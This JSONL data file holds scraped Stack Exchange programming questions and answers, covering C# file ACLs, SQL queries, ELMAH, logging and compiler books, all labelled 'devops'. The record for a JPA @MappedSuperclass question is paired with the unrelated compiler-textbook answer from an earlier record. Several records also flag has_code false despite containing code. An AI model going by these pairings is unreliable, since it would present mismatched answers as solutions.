{"id": "hf_a5ace22376f3", "question": "<p>I have a requirement to read and display the owner of a file (for audit purposes), and potentially changing it as well (this is secondary requirement). Are there any nice C# wrappers?</p>\n\n<p>After a quick google, I found only <a href=\"http://web.archive.org/web/20061116233324/http://www.softinsight.com/bnoyes/PermaLink.aspx?guid=8edc9d4c-0f2c-4006-8186-a3697ebc7476\" rel=\"noreferrer\">the WMI solution</a> and a suggestion to PInvoke GetSecurityInfo</p>\n", "question_body": "", "answer": "No need to P/Invoke.\nSystem.IO.File.GetAccessControl\nwill return a\nFileSecurity\nobject, which has a\nGetOwner\nmethod.\nEdit: Reading the owner is pretty simple, though it's a bit of a cumbersome API:\n```\n```\nconst string FILE = @\"C:\\test.txt\";\n\nvar fs = File.GetAccessControl(FILE);\n\nvar sid = fs.GetOwner(typeof(SecurityIdentifier));\nConsole.WriteLine(sid); // SID\n\nvar ntAccount = sid.Translate(typeof(NTAccount));\nConsole.WriteLine(ntAccount); // DOMAIN\\username\n```\n```\nSetting the owner requires a call to SetAccessControl to save the changes. Also, you're still bound by the Windows rules of ownership - you can't assign ownership to another account. You can give take ownership perms, and they have to take ownership.\n```\n```\nvar ntAccount = new NTAccount(\"DOMAIN\", \"username\");\nfs.SetOwner(ntAccount);\n\ntry {\n   File.SetAccessControl(FILE, fs);\n} catch (InvalidOperationException ex) {\n   Console.WriteLine(\"You cannot assign ownership to that user.\" +\n    \"Either you don't have TakeOwnership permissions, or it is not your user account.\"\n   );\n   throw;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.518772"}
{"id": "hf_d9fc61691229", "question": "<p>I would like to be able to step through an application deployed to a remote location which as yet has nothing bar version 3.5 of the .Net framework. </p>\n\n<p>What steps do I need to go through to achieve this and how long would you envisage this taking?</p>\n", "question_body": "", "answer": "How to: Set Up Remote Debugging\nScreencast for Visual Studio 2008 - Remote Debugging with MSVSMON.EXE\nThis is also a\ngood KB\nshowing some troubleshooting scenarios..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.558962"}
{"id": "hf_420384280575", "question": "<p>I am looking for pointers to the solution of the following problem: I have a set of rectangles, whose height is known and x-positions also and I want to pack them in the more compact form. With a little drawing (where all rectangles are of the same width, but the width may vary in real life), i would like, instead of. </p>\n\n<pre><code>-r1-\n  -r2--\n     -r3--\n       -r4-\n        -r5--\n</code></pre>\n\n<p>something like.</p>\n\n<pre><code>-r1-  -r3-- \n  -r2-- -r4-\n         -r5--\n</code></pre>\n\n<p>All hints will be appreciated. I am not necessarily looking for \"the\" best solution.</p>\n", "question_body": "", "answer": "Something like this?\nSort your collection of rectangles by x-position\nwrite a method that checks which rectangles are present on a certain interval of the x-axis\n```\n```\nCollection<Rectangle> overlaps (int startx, int endx, Collection<Rectangle> rects){\n...\n}\n```\n```\nloop over the collection of rectangles\n```\n```\nCollection<Rectangle> toDraw;\nCollection<Rectangle> drawn;\nforeach (Rectangle r in toDraw){\nCollection<Rectangle> overlapping = overlaps (r.x, r.x+r.width, drawn);\nint y = 0;\nforeach(Rectangle overlapRect in overlapping){\ny += overlapRect.height;\n}\ndrawRectangle(y, Rectangle);\ndrawn.add(r);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.582279"}
{"id": "hf_587dd9da8214", "question": "<p>I recently upgraded my oracle client to 10g (10.2.0.1.0).</p>\n\n<p>Now when I try to connect to a legacy 8.0 database, I get</p>\n\n<pre><code>ORA-03134: Connections to this server version are no longer supported.\n</code></pre>\n\n<p>Is there any workaround for this problem, or do I have to install two clients on my local machine?</p>\n", "question_body": "", "answer": "I had to connect a C# code to an Oracle 7 (I know you it's 8...)... the only way I get it was to get the CD to install the Oracle Server and to go in the \"Optional Configuration Component\" and to use the Oracle73 Ver2.5.\nI think you should go check the CD of the Oracle 8 Server and check if an ODBC is still available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.617666"}
{"id": "hf_cb3185b23fbe", "question": "<p>I am working on an iGoogle-like application. Content from other applications (on other domains) is shown using iframes. </p>\n\n<p>How do I resize the iframes to fit the height of the iframes' content?</p>\n\n<p>I've tried to decipher the javascript Google uses but it's obfuscated, and searching the web has been fruitless so far.</p>\n\n<p><strong>Update:</strong> Please note that content is loaded from other domains, so the <a href=\"https://en.wikipedia.org/wiki/Same-origin_policy\" rel=\"noreferrer\">same-origin policy</a> applies.</p>\n", "question_body": "", "answer": "This is slightly tricky as you have to know when the iframe page has loaded, which is difficuly when you're not in control of its content. Its possible to add an onload handler to the iframe, but I've tried this in the past and it has vastly different behaviour across browsers (not guess who's the most annoying...). You'd probably have to add a function to the iframe page that performs the resize and inject some script into the content that either listens to load events or resize events, which then calls the previous function. I'm thinking add a function to the page since you want to make sure its secure, but I have no idea how easy it will be to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.647322"}
{"id": "hf_bf400d946309", "question": "<p>When I call</p>\n\n<pre><code>help(Mod.Cls.f)\n</code></pre>\n\n<p>(Mod is a C extension module), I get the output</p>\n\n<pre>Help on method_descriptor:\n\nf(...)\n    doc_string</pre>\n\n<p>What do I need to do so that the help output is of the form</p>\n\n<pre>Help on method f in module Mod:\n\nf(x, y, z)\n    doc_string</pre>\n\n<p>like it is for random.Random.shuffle, for example?</p>\n\n<p>My PyMethodDef entry is currently:</p>\n\n<pre><code>{ \"f\", f, METH_VARARGS, \"doc_string\" }\n</code></pre>\n", "question_body": "", "answer": "You cannot. The inspect module, which is what 'pydoc' and 'help()' use, has no way of figuring out what the exact signature of a C function is. The best you can do is what the builtin functions do: include the signature in the first line of the docstring:\n```\n```\n>>> help(range)\nHelp on built-in function range in module __builtin__:\n\nrange(...)\n    range([start,] stop[, step]) -> list of integers\n\n...\n```\n```\nThe reason random.shuffle's docstring looks \"correct\" is that it isn't a C function. It's a function written in Python.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.745714"}
{"id": "hf_0046f12c905f", "question": "<p>I have an MS SQL database and have a <code>varchar</code> field that I would like to do queries like  <code>where name like '%searchTerm%'</code>.  But right now it is too slow, even with SQL enterprise's full text indexing.  </p>\n\n<p>Can someone explain how <code>Lucene .Net</code> might help my situation?   How does the indexer work? How do queries work?</p>\n\n<p>What is done for me, and what do I have to do?</p>\n", "question_body": "", "answer": "This\narticle\n(strangely enough it's on the top of the Google search results :) has a fairly good description of how the Lucene search could be optimised.\nProperly configured Lucene should easily beat SQL (pre 2005) full-text indexing search. If you on MS SQL 2005 and your search performance is still too slow you might consider checking your DB setup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.782649"}
{"id": "hf_791cd50defb3", "question": "<p>In C and C++ you can tell the compiler that a number is a 'long' by putting an 'l' at the end of the number.\ne.g long x = 0l;</p>\n\n<p>How can I tell the C# compiler that a number is a byte?</p>\n", "question_body": "", "answer": "```\n```\nbyte b = (byte) 123;\n```\n```\neven though\n```\n```\nbyte b = 123;\n```\n```\ndoes the same thing. If you have a variable:\n```\n```\nint a = 42;\nbyte b = (byte) a;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.844415"}
{"id": "hf_b0efca946a02", "question": "<p>Summary for the impatient: I'm searching for good references on generating code for common language constructs but not parsing.</p>\n\n<p>I am interested in programming languages and try to read the literature as much as possible. But most of them covers the topic in a functional and theoretical perspective that, I find them hard to understand let alone implement the ideas.</p>\n\n<p>So the question is; Which resources do you suggest about programming language implementations that covers the topic in a more imperative and practical fashion?</p>\n\n<p>For example, I find \"<em>The Implementation of Lua 5.0</em>\" paper very instructive.</p>\n\n<p>Note that, I am not seeking articles about parsing or tokenizing.</p>\n", "question_body": "", "answer": "Here are a bunch of good textbooks:\nModern Compiler Implementation in Java (Tiger book) \nA.W. Appel \nCambridge University Press, 1998 \nISBN 0-52158-388-8 \nA textbook tutorial on compiler implementation, including techniques for many language features\nCompilers: Principles, Techniques and Tools (Dragon book) \nAho, Lam, Sethi and Ullman \nAddison-Wesley, 2006 \nISBN 0321486811 \nThe classic compilers textbook, although its front-end emphasis reflects its age.\nAdvanced Compiler Design and Implementation (Whale book) \nSteven Muchnick \nMorgan Kaufman Publishers, 1997 \nISBN 1-55860-320-4 \nEssentially a recipe book of optimizations; very complete and suited for industrial practitioners and researchers.\nEngineering a Compiler (Ark book) \nKeith D. Cooper, Linda Torczon \nMorgan Kaufman Publishers, 2003 \nISBN 1-55860-698-X \nA modern classroom textbook, with increased emphasis on the back-end and implementation techniques.\nOptimizing Compilers for Modern Architectures \nRandy Allen and Ken Kennedy \nMorgan Kaufman Publishers, 2001 \nISBN 1-55860-286-0 \nA modern textbook that focuses on optimizations including parallelization and memory hierarchy optimizations.\nProgramming Languages Pragmatics \nMichael L. Scott \nMorgan Kaufmann Publishers, 2005 \nISBN 0126339511", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.959888"}
{"id": "hf_8e17a3798ef0", "question": "<p>I have a class Animal and an interface it inherits from IAnimal.</p>\n\n<pre><code>@MappedSuperclass\npublic class Animal implements Serializable, IAnimal{...}.\n\n@Entity\npublic class Jaguar extends Animal{...}\n</code></pre>\n\n<p>My first question is, do I need to annotate the interface?</p>\n\n<p>I asked this because I am getting this error when I run my tests:</p>\n\n<blockquote>\n  <p>Error compiling the query [SELECT s\n  FROM  animal s WHERE s.atype =\n  :atype].\n  Unknown abstract schema type\n  [animal]</p>\n</blockquote>\n\n<p>If I remember correctly, before I added this interface it was working.</p>\n", "question_body": "", "answer": "Here are a bunch of good textbooks:\nModern Compiler Implementation in Java (Tiger book) \nA.W. Appel \nCambridge University Press, 1998 \nISBN 0-52158-388-8 \nA textbook tutorial on compiler implementation, including techniques for many language features\nCompilers: Principles, Techniques and Tools (Dragon book) \nAho, Lam, Sethi and Ullman \nAddison-Wesley, 2006 \nISBN 0321486811 \nThe classic compilers textbook, although its front-end emphasis reflects its age.\nAdvanced Compiler Design and Implementation (Whale book) \nSteven Muchnick \nMorgan Kaufman Publishers, 1997 \nISBN 1-55860-320-4 \nEssentially a recipe book of optimizations; very complete and suited for industrial practitioners and researchers.\nEngineering a Compiler (Ark book) \nKeith D. Cooper, Linda Torczon \nMorgan Kaufman Publishers, 2003 \nISBN 1-55860-698-X \nA modern classroom textbook, with increased emphasis on the back-end and implementation techniques.\nOptimizing Compilers for Modern Architectures \nRandy Allen and Ken Kennedy \nMorgan Kaufman Publishers, 2001 \nISBN 1-55860-286-0 \nA modern textbook that focuses on optimizations including parallelization and memory hierarchy optimizations.\nProgramming Languages Pragmatics \nMichael L. Scott \nMorgan Kaufmann Publishers, 2005 \nISBN 0126339511", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:01.984811"}
{"id": "hf_a6162bf4ff67", "question": "<p>Microsoft has come out with this fairly new technology that I am considering using for a .NET 3.5 application.  I am curious, is anyone using this technology already?  I am worried that the use of the secure virtual machine will negatively affect performance.  Also, the way Microsoft advertises the product, it seems as though the licensing integration is very seamless and does not require any development work in the code.  It seems like a great product but I want to make sure I know of any pitfalls before committing to it.</p>\n", "question_body": "", "answer": "It seems that SLP does not support .NET 3.5 at the moment.\nhttp://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=3526285&SiteID=1\nYour best bet would be to implement an auxiliary DLL containing SLP API calls in .NET 2.0 or 3.0, secure it and add it as a reference to your .NET 3.5 app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.022561"}
{"id": "hf_d5a2cd5355e5", "question": "<p>I am trying to create a StringNameSpaceBinding using the wsadmin tool of Websphere 6.1</p>\n\n<p>Here are the steps i take\nset cell [$AdminConfig getid /Cell:cell/]\n$AdminConfig create StringNameSpaceBinding $cell { {name bindname}  {nameInNameSpace Bindings/string} {stringToBind \"This is the String value that gets bound\"} }</p>\n\n<p>But when i run this last step i get an error like this:\nWASX7015E: Exception running command: \"$AdminConfig create StringNameSpaceBinding $cell { {name bindname}  {nameInNameSpace Bindings/string} {stringToBind \"This is the String value that gets bound\"} }\"; exception information:\n com.ibm.ws.scripting.ScriptingException: WASX7444E: Invalid parameter value \"\" for parameter \"parent config id\" on command \"create\"</p>\n\n<p>Any idea what could be up with this?</p>\n\n<p>Thanks\nDamien</p>\n", "question_body": "", "answer": "I'm betting that the following command:\n```\n```\nset cell [$AdminConfig getid /Cell:cell/]\n```\n```\nDoesn't work. Most likely,\n```\ncell\n```\nis not the name of your cell.\nYou don't need to specify a cell name; there's only one cell in the WAS topology. I would change this to:\n```\n```\nset cell [$AdminConfig getid /Cell:/]\n```\n```\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.046987"}
{"id": "hf_155acbb9f360", "question": "<p>I'm starting a project using a Restful architecture implemented in Java (using the new JAX-RS standard)</p>\n\n<p>We are planning to develop the GUI with a Flex application. I have already found some problems with this implementation using the HTTPService component (the response error codes, headers access...).</p>\n\n<p>Any of you guys have some experience in a similar project. Is it feasible?</p>\n", "question_body": "", "answer": "There are definite shortcomings of Flex's ability to act as a pure RESTful client.\nThe comments below are from this\nblog\n:\nThe problem is HTTPService class has\n  several major limitations:\nOnly GET and POST methods are supported out of the box (unless you\n  use FDS and set useProxy attribute to\n  true)\nNot able to set request headers and there is no access to response\n  headers. Therefore I am not able to\n  access the response body in the case\n  of an error.\nIt HTTPService gets a status code anything other 200, it consider\n  an error. (event 201, ouch!!). The\n  FaultEvent doesn’t provide information\n  about the status code any response\n  body. The Flex client will have no\n  idea what went wrong.\nMatt Raible\nalso gave a\nnice presentation on REST with Rails, Grails, GWT and Flex\nthat have some good references linked from it.\nWhether it's feasible or not really depends on how much your willing to work around by proxying, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.197363"}
{"id": "hf_ff5eb1aec5c5", "question": "<p>Most applications only have \"Restore, Move, Size, Minimize, Maximize and Close\", however <i>MS SQL</i> offers extra options \"Help, Customize view\". Along those lines, is it possible to add to the right click menu of an application in the task bar?  </p>\n\n<p>Note: I'm <b>not</b> referring to an icon in the notification area next to the clock.</p>\n", "question_body": "", "answer": "This is a simpler\nanswer\nI found.  I quickly tested it and it works.\nMy code:\n```\n```\nprivate const int WMTaskbarRClick = 0x0313;\n\n    protected override void WndProc(ref Message m)\n    {\n        switch (m.Msg)\n        {\n            case WMTaskbarRClick:\n                {\n                    // Show your own context menu here, i do it like this\n                    // there's a context menu present on my main form so i use it\n\n                    MessageBox.Show(\"I see that.\");\n\n                    break;\n                }\n            default:\n                {\n                    base.WndProc(ref m);\n                    break;\n                }\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.282065"}
{"id": "hf_a63ed4684aeb", "question": "<p>I notice that Rails 2.2 (currently edge) supports <a href=\"http://rails.lighthouseapp.com/projects/8994/tickets/1046-http-only-cookies-in-cookiestore\" rel=\"nofollow noreferrer\">setting HttpOnly on the session cookie</a>.</p>\n\n<p>Is there a way of setting it on a Rails 2.1 application without moving to edge/2.2?</p>\n", "question_body": "", "answer": "Set the\n```\nhttp_only\n```\noption to true in the cookie's options hash:\n```\n```\ncookies['visits'] = { :value => '20', :http_only => true }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.310692"}
{"id": "hf_f44e6e1c35f1", "question": "<p>.Net Compact Framework</p>\n\n<p>Scenario: User is on a screen. Device can't finds a printer and asks the user if they want to try again. If they click \"No\", the current screen is closed and they are returned to the parent menu screen. If they click the \"No\" button multiple times, the first click will be used by the No button and the next click will take effect once the screen has completed redrawing. (In effect clicking a menu item which then takes the user to another screen.)</p>\n\n<p>I don't see a good place to put a wait cursor...there isn't much happening when the user clicks \"No\" except a form closing. But the CF framework is slow to redraw the screen.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Random thoughts:\nDisable the some of the controls on the parent dialog while a modal dialog is up.  I do not believe that you can disable the entire form since it is the parent of the modal dialog.\nAlternatively I would suggest using a Transparent control to catch the clicks but transparency is not supported on CF.\nHow many controls are on the parent dialog?  I have not found CF.Net that slow in updating.  Is there any chance that the dialog is overloaded and could be custom drawn faster that with sub controls?\noverride the DialogResult property and the Dispose method of the class to handle adding/remvoing a wait cursor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.395443"}
{"id": "hf_9c06fc0209e7", "question": "<p>How do I calculate the position of an accelerating body (e.g. a car) after a certain time (e.g. 1 second)?</p>\n\n<p>For a moving body that it not accelerating, it is a linear relationship, so I presume for an accelerating body it involves a square somewhere.</p>\n\n<p>Any ideas? </p>\n", "question_body": "", "answer": "The equation is: s = ut + (1/2)a t^2\nwhere s is position, u is velocity at t=0, t is time and a is a constant acceleration.\nFor example, if a car starts off stationary, and accelerates for two seconds with an acceleration of 3m/s^2, it moves (1/2) * 3 * 2^2 = 6m\nThis equation comes from integrating analytically the equations stating that velocity is the rate-of-change of position, and acceleration is the rate-of-change of velocity.\nUsually in a game-programming situation, one would use a slightly different formulation: at every frame, the variables for velocity and position are integrated not analytically, but numerically:\n```\n```\ns = s + u * dt;\nu = u + a * dt;\n```\n```\nwhere dt is the length of a frame (measured using a timer: 1/60th second or so). This method has the advantage that the acceleration can vary in time.\nEdit\nA couple of people have noted that the Euler method of numerical integration (as shown here), though the simplest to demonstrate with, has fairly poor accuracy. See\nVelocity Verlet\n(often used in games), and\n4th order Runge Kutta\n(a 'standard' method for scientific applications) for improved algorithms.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.418470"}
{"id": "hf_bca4ed053b09", "question": "<p>What is the ideal code to logging ratio? I'm not used to writing logs as most of the applications I've developed have not had much logging.</p>\n\n<p>Recently though I've changed job, and I've noticed that you can't see the application code for the calls to log4net. I appreciate that this is useful but surely having too many debug statements is just as bad as not having any at all?</p>\n\n<p>There are logging statements that tell you when every method starts and finishes and what they are returning. and when pretty much anything is done.</p>\n\n<p>Would it not be easier to have some addon that used reflection to add the logging statements in at compile time so they didn't get in the way as you were trying to look at the code?</p>\n\n<p>Also in these days of powerful IDEs and remote debugging is that much logging really nescisary?</p>\n", "question_body": "", "answer": "There is actually a nice library for adding in logging after the fact as you say,\nPostSharp\n. It lets you do it via attribute-based programming, among many other very useful things beyond just logging.\nI agree that what you say is a little excessive for logging.\nSome others bring up some good points, especially the banking scenario and other mission critical apps. It may be necessary for extreme logging, or at least be able to turn it on and off if needed, or have various levels set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.441690"}
{"id": "hf_76a8f239d527", "question": "<p>I have a page that contains a form. This page is served with content type text/html;charset=utf-8. I need to submit this form to server using ISO-8859-1 character encoding. Is this possible with Internet Explorer?</p>\n\n<p>Setting accept-charset attribute to form element, like this, works for Firefox, Opera etc. but not for IE.</p>\n\n<pre><code>&lt;form accept-charset=\"ISO-8859-1\"&gt;\n  ...\n&lt;/form&gt;\n</code></pre>\n\n<p>Edit: This form is created by server A and will be submitted to server B. I have no control over server B.</p>\n\n<p>If I set server A to serve content with charset ISO-8859-1 everything works, but I am looking a way to make this work without changes to server A's encoding. I have another question <a href=\"https://stackoverflow.com/questions/153482/setting-iso-8859-1-encoding-for-a-single-tapestry-4-page-in-application-that-is\">about setting the encoding in server A.</a></p>\n", "question_body": "", "answer": "I am pretty sure it won't be possible with older versions of IE. Before the\n```\naccept-charset\n```\nattribute was devised, there was no way for\n```\nform\n```\nelements to specify which character encoding they accepted, and the best that browsers could do is assume the encoding of the page the form is in will do.\nIt is a bit sad that you need to know which encoding was used -- nowadays we would expect our web frameworks to take care of such details invisibly and expose the text data to the application as Unicode strings, already decoded...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.465324"}
{"id": "hf_520a46c20a13", "question": "<p>Take the following C# class:</p>\n\n<pre><code>c1 {\n event EventHandler someEvent;\n}\n</code></pre>\n\n<p>If there are a lot of subscriptions to <code>c1</code>'s <code>someEvent</code> event and I want to clear them all, what is the best way to achieve this? <strong>Also consider that subscriptions to this event could be/are lambdas/anonymous delegates.</strong></p>\n\n<p>Currently my solution is to add a <code>ResetSubscriptions()</code> method to <code>c1</code> that sets <code>someEvent</code> to null. I don't know if this has any unseen consequences.</p>\n", "question_body": "", "answer": "Add a method to c1 that will set 'someEvent' to null.\n```\n```\npublic class c1\n{\n    event EventHandler someEvent;\n    public ResetSubscriptions() => someEvent = null;    \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.542907"}
{"id": "hf_0e9db504d7a1", "question": "<p>Is it possible to assign a global hotkey to a specific feature in an Adobe AIR app, i.e. the app feature responds to the hotkey whether the app is active or not (it must be running of course, but only in the system tray).</p>\n", "question_body": "", "answer": "I don't this it's possible with Adobe AIR itself. The only method I can think of:\nInstall 3rd party hotkey application (like\nAutoHotkey\nor\nHotKeyBind\n)\nConfigure hotkey application to make\nCTRL\n+\nALT\n+\nQ\nto launch\n\"\n```\nc:\\programs\\thvo42\\coolapp.exe --hotkey q\n```\n\"\nIn your AIR application, register for the\nNativeApplication.invoke\nevent, and watch for arguments like '--hotkey q' to know that the Q hotkey was pressed, and then act accordingly.\nOf course, this is kind of a hassle, maybe with some hacking you can roll it all into a single install file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.567705"}
{"id": "hf_ed3fb08a06cf", "question": "<p>In MS Transact SQL, let's say I have a table (Orders) like this:</p>\n\n<pre><code> Order Date       Order Total     Customer #\n 09/30/2008       8.00            1\n 09/15/2008       6.00            1\n 09/01/2008       9.50            1\n 09/01/2008       1.45            2\n 09/16/2008       4.50            2\n 09/17/2008       8.75            3\n 09/18/2008       2.50            3\n</code></pre>\n\n<p>What I need out of this is: for each customer the average order amount for the most recent two orders.  So for Customer #1, I should get 7.00 (and not 7.83).</p>\n\n<p>I've been staring at this for an hour now (inside a larger problem, which I've solved) and I think my brain has frozen.  Help for a simple problem?</p>\n", "question_body": "", "answer": "This should make it\n```\n```\nselect avg(total), customer \nfrom orders o1 \nwhere orderdate in \n  ( select top 2 date \n    from orders o2 \n    where o2.customer = o1.customer \n    order by date desc )\ngroup by customer\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.611747"}
{"id": "hf_be0575aa5dd5", "question": "<p>What are my options for programmatically accessing a Microsoft Project file? What are the pros and cons of each approach?</p>\n\n<p>I will basically need to import all data from the file into another data structure. Using the Office Interop assembies is low on the preference scale. </p>\n", "question_body": "", "answer": "The Microsoft Office API provides programmatic access to MS Project. I have only used it for Word and Excel so I don't know how rich the interface is - you will have to do some digging around on MSDN to find out what you can and can't do.\nOne of the Java projects at my company uses a commerical product by\nAspose\nwhich allows applications to manipulate Office documents including Project. It works well for their purposes, but again, they have only used it for Word and Excel so can't offer much advice on Project.\nEDIT (2019)\n: I can confirm that it is a very capable product.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.649835"}
{"id": "hf_383dfec7bcd8", "question": "<p>What would be the most efficient way of recording to a log (.txt) from a console program on C# and .NET 2.2? My program loops multiple times always outputting different data based on what the user wants, so I'm searching for the most efficient way to achieve this.</p>\n\n<p>I know I can always reopen a stream and then close it, but everytime I do that it would be writing just one line, then next time around (seconds later) the program reloops and needs tor write again. In my opinion, that doesn't seem very resourse friendly.</p>\n\n<p>I'm using multiple threads that all have output data that I want to log (opening/closing the same file or accessing the same file on different threads might be bad). The \"holds a reference to a stream writer that auto-flushes\" sounds like a good idea, however I don't know how to do that.</p>\n", "question_body": "", "answer": "Consider using\nlog4net\n:\na tool to help the programmer output log statements to a variety of output targets... We have kept the framework similar in spirit to the original log4j while taking advantage of new features in the .NET runtime. For more information on log4net see the\nfeatures\ndocument...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.675293"}
{"id": "hf_6b4708d9ccaa", "question": "<p>How can I write a scheduler application in C# .NET?</p>\n", "question_body": "", "answer": "It all depends on your requirements:\nIf you have access to a database you use a table as a queue and a service to poll the queue at regular intervals.\nIf your application is client only (CLI) you can use the system scheduler (\"Scheduled Tasks\").\nLastly, if your application is only in a database (using the CLR in SQL Server 2005 for example) then you can create a SQL Server job to schedule it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.723601"}
{"id": "hf_1962942209d4", "question": "<p>Unfortunately, I need to do this.  I'm using ELMAH for my error log.  Before I route to my error.aspx view, I have to grab the default ELMAH error log so I can log the exception.  You used to be able to use </p>\n\n<pre><code>Elmah.ErrorLog.Default\n</code></pre>\n\n<p>However, this is now marked as obsolete.  The compiler directs me to use the method</p>\n\n<pre><code>Elmah.ErrorLog.GetDefault(HttpContext context)\n</code></pre>\n\n<p>MVC's context is of type HttpContextBase, which enables us to mock it (YAY!).  How can we deal with MVC-unaware libraries that require the old style HttpContext?</p>\n", "question_body": "", "answer": "Try\n```\nSystem.Web.HttpContext.Current\n```\n. It should do the trick.\nGets HTTP-specific information about an individual HTTP request.\nMSDN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:02.747065"}
